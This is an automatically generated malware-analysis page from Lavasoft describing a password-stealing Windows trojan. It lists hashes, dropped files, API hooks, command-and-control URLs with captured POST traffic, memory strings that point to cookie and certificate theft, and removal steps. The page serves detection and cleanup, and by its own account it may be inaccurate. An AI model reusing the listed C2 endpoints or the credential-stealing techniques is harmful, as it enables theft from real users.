Gen.Variant.Zusy.66294_886c7f1e8b

by malwarelabrobot on April 10th, 2015 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Zusy.66294 (B) (Emsisoft), Gen:Variant.Zusy.66294 (AdAware), Sinowal.YR, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 886c7f1e8be963a608ea618740a30ab1
SHA1: 779f9bcc5efa4d83d289932e4b1b8b9139b15344
SHA256: f99cccf59d51e11ffcb5f946762d71b6e8a7a20e08616ca5ca1b14f0f06adac8
SSDeep: 6144:yxMGowlA0z3SRxTCAntl0Be5qMZuP x4BxPVgshQncTSTTD7Dios:yKGowlwTTC0l0BmqS4BAIQUu6
Size: 369664 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: no certificate found
Created at: 2013-10-02 21:09:05
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

xuydy.exe:648
xuydy.exe:800
%original file name%.exe:1596
%original file name%.exe:1480

The Trojan injects its code into the following process(es):

Explorer.EXE:1912

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1480 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp3643ab9a.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Tuol\xuydy.exe (1650 bytes)

Registry activity

The process xuydy.exe:648 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "50 12 BC 70 A0 20 C7 C5 8A AD 75 21 DC C8 BD 15"

The process xuydy.exe:800 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CE 9B C5 3D 9D F7 D0 E9 E3 93 FF C4 09 1E 94 09"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:1596 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "29 CE 97 ED 0C 37 95 CC 24 ED 9C 79 02 D0 99 F5"

The process %original file name%.exe:1480 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "19 7D 10 3B 6B 98 78 BB 76 83 30 7E 0A 27 82 02"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5 File path
4138cfe7c526521cbdf4a6e9f6420be5 c:\Documents and Settings\"%CurrentUserName%"\Application Data\Tuol\xuydy.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WINMM.dll:

PlaySoundW

The Trojan installs the following user-mode hooks in WININET.dll:

HttpEndRequestW
HttpEndRequestA
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetSetFilePointer
InternetQueryDataAvailable
HttpOpenRequestW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
HttpOpenRequestA

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in ADVAPI32.dll:

CreateProcessAsUserA
CreateProcessAsUserW

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
gethostbyname
send
closesocket
getaddrinfo

The Trojan installs the following user-mode hooks in kernel32.dll:

ExitProcess
GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

NtCreateThread

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 52484 53248 4.59325 d3ea357dcb22942165c79eb054e76533
.rdata 57344 8974 12288 2.67517 b4066428bb3d73dc25c2987a2a247cc4
.data 69632 12664 8192 2.52891 c010f38485cfbde7151c9ef124549309
.rsrc 86016 240 4096 0.156384 92f910ae66a53e3476f0ba2762bd740e
.reloc 90112 279676 282624 5.43336 18bf4885df0b79076aef65b98a89d269
HGAeJeGA 372736 3974 4096 0 620f0b67a91f7f74151bc5be745b7110

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
0afdf1ef16cfeff3b28704212f79c087

URLs

URL IP
hxxp://www2.marcela-borges.com/js/dojo/file.php 82.165.37.26
hxxp://www2.flaviabarcelos.com/js/dojo/file.php 82.165.37.26


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Generic - POST To .php w/Extended ASCII Characters
ET TROJAN Generic -POST To file.php w/Extended ASCII Characters

Traffic

POST /js/dojo/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: www2.flaviabarcelos.com
Content-Length: 123
Connection: Keep-Alive
Cache-Control: no-cache

.$'.%...
..{..X.....&.2.b..............{..Y3D.X...QL...Z..........u.Ef..9.F`C.$y...;j.>?L.:.bEF~..........26!.......s...P.
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Thu, 09 Apr 2015 15:58:49 GMT
Content-Type: text/html
Content-Length: 570
Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /js/dojo/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: www2.flaviabarcelos.com
Content-Length: 123
Connection: Keep-Alive
Cache-Control: no-cache

.$'.%...
..{..X.....&.2.b..............{..Y3D.X...QL...Z..........u.Ef..9.F`C.$y...;j.>?L.:.bEF~..........26!.......s...P.
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Thu, 09 Apr 2015 15:58:49 GMT
Content-Type: text/html
Content-Length: 570
Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..HTTP
/1.1 404 Not Found..Server: nginx/1.6.2..Date: Thu, 09 Apr 2015 15:58:
49 GMT..Content-Type: text/html..Content-Length: 570..Connection: keep
-alive..<html>..<head><title>404 Not Found</title
></head>..<body bgcolor="white">..<center><h1&
gt;404 Not Found</h1></center>..<hr><center>ng
inx/1.6.2</center>..</body>..</html>..<!-- a padd
ing to disable MSIE and Chrome friendly error page -->..<!-- a p
adding to disable MSIE and Chrome friendly error page -->..<!-- 
a padding to disable MSIE and Chrome friendly error page -->..<!
-- a padding to disable MSIE and Chrome friendly error page -->..&l
t;!-- a padding to disable MSIE and Chrome friendly error page -->.
.<!-- a padding to disable MSIE and Chrome friendly error page 
<<< skipped >>>


POST /js/dojo/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: www2.marcela-borges.com
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

z.a.....lD..............O........IUM...%.../..`.H...t\Z..7.#qY.#1J.T..63.....;...qW..y...v.h.....}9!chp......O`..e..|..M....@A..
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Thu, 09 Apr 2015 15:58:49 GMT
Content-Type: text/html
Content-Length: 570
Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /js/dojo/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: www2.marcela-borges.com
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

z.a.....lD..............O........IUM...%.../..`.H...t\Z..7.#qY.#1J.T..63.....;...qW..y...v.h.....}9!chp......O`..e..|..M....@A..
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Thu, 09 Apr 2015 15:58:49 GMT
Content-Type: text/html
Content-Length: 570
Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..HTTP
/1.1 404 Not Found..Server: nginx/1.6.2..Date: Thu, 09 Apr 2015 15:58:
49 GMT..Content-Type: text/html..Content-Length: 570..Connection: keep
-alive..<html>..<head><title>404 Not Found</title
></head>..<body bgcolor="white">..<center><h1&
gt;404 Not Found</h1></center>..<hr><center>ng
inx/1.6.2</center>..</body>..</html>..<!-- a padd
ing to disable MSIE and Chrome friendly error page -->..<!-- a p
adding to disable MSIE and Chrome friendly error page -->..<!-- 
a padding to disable MSIE and Chrome friendly error page -->..<!
-- a padding to disable MSIE and Chrome friendly error page -->..&l
t;!-- a padding to disable MSIE and Chrome friendly error page -->.
.<!-- a padding to disable MSIE and Chrome friendly error page 
<<< skipped >>>


POST /js/dojo/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: www2.marcela-borges.com
Content-Length: 123
Connection: Keep-Alive
Cache-Control: no-cache

.X{V.=.&...6J..D.a.Zw.c.3.............M*...b...D........J.....P...$..7..h..1..u(E..j;.on..k.3../.......B^.cgp..T..].."..G..
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Thu, 09 Apr 2015 15:58:49 GMT
Content-Type: text/html
Content-Length: 570
Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /js/dojo/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: www2.marcela-borges.com
Content-Length: 123
Connection: Keep-Alive
Cache-Control: no-cache

.X{V.=.&...6J..D.a.Zw.c.3.............M*...b...D........J.....P...$..7..h..1..u(E..j;.on..k.3../.......B^.cgp..T..].."..G..
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Thu, 09 Apr 2015 15:58:49 GMT
Content-Type: text/html
Content-Length: 570
Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..HTTP
/1.1 404 Not Found..Server: nginx/1.6.2..Date: Thu, 09 Apr 2015 15:58:
49 GMT..Content-Type: text/html..Content-Length: 570..Connection: keep
-alive..<html>..<head><title>404 Not Found</title
></head>..<body bgcolor="white">..<center><h1&
gt;404 Not Found</h1></center>..<hr><center>ng
inx/1.6.2</center>..</body>..</html>..<!-- a padd
ing to disable MSIE and Chrome friendly error page -->..<!-- a p
adding to disable MSIE and Chrome friendly error page -->..<!-- 
a padding to disable MSIE and Chrome friendly error page -->..<!
-- a padding to disable MSIE and Chrome friendly error page -->..&l
t;!-- a padding to disable MSIE and Chrome friendly error page -->.
.<!-- a padding to disable MSIE and Chrome friendly error page 
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

Explorer.EXE_1912_rwx_01F20000_0003B000:

.text
`.data
.reloc
%s, u %s %u u:u:u GMT
HTTP/1.1
HTTP/1.0
hXXp://
; charset=%s
HTTP/1.1 %u %s
Date: %s
Content-Length: %u
Expires: %s
Content-Type: %s%s
ID: %s
value_%s
value_%s_%s
%s = "%s";
update.exe
config.bin
PR_OpenTCPSocket
cit_ffcookie.module
cit_video.module
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
hXXp://xxxxxxxx.com/xxxx/xxxx.php
%s%s%s
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
6;:5;66"
,1;(,; = 1
<! 8< ;-;
'472%9,{
F@ICTQ}cRTWAunO}mmts}NX~csgzn~)[jzyemer\]ika
8/3.xae4LOa
6 !26!1'1!
hXXps://
HTTP/1.
facebook.com
Cookie: %s
Referer: %s
Accept: %s
Accept-Language: %s
Accept-Encoding: %s
_getFirefoxCookie
hXXp://VVV.google.com/webhp
SSShD
SSShXe
SSShye
GetProcessHeap
CreatePipe
KERNEL32.dll
MsgWaitForMultipleObjects
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
SetKeyboardState
ExitWindowsEx
GetKeyboardState
MapVirtualKeyW
GetKeyboardLayoutList
USER32.dll
RegCreateKeyExW
RegOpenKeyExW
RegCloseKey
RegCreateKeyW
RegEnumKeyW
RegQueryInfoKeyW
RegEnumKeyExW
ADVAPI32.dll
UrlUnescapeA
SHDeleteKeyW
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpOpenRequestA
HttpOpenRequestW
HttpEndRequestA
HttpSendRequestA
HttpEndRequestW
InternetCrackUrlA
HttpAddRequestHeadersW
GetUrlCacheEntryInfoW
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
VERSION.dll
WINMM.dll
PSSSSSSh
3$3*30383
6|7k7u7
9 :1:::@:
42>204:4
sXXXX
nspr4.dll
chrome.dll
\StringFileInfo\xx\%s
ntdll.dll
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
SELECT * FROM %s
Company: %s
Product: %s
Version: %s
Software\Microsoft\Windows\CurrentVersion\Uninstall
%u: %s | %s | %s
Global\XXX
SysShadow
Chrome
Firefox
%Documents and Settings%\%current user%\Application Data
{1AE40739-0F36-19DD-111F-B4F18B1F1E6D}
%Documents and Settings%\%current user%\Application Data\Olys\yquh.req
%Documents and Settings%\%current user%\Application Data\Olys
yquh.req
Global\{8C9FB51C-BD13-8FA6-111F-B4F18B1F1E6D}
%Documents and Settings%\%current user%\Application Data\Evoxvi\otvy.dao
%Documents and Settings%\%current user%\Application Data\Evoxvi
otvy.dao


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    xuydy.exe:648
    xuydy.exe:800
    %original file name%.exe:1596
    %original file name%.exe:1480

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\tmp3643ab9a.bat (177 bytes)
    %Documents and Settings%\%current user%\Application Data\Tuol\xuydy.exe (1650 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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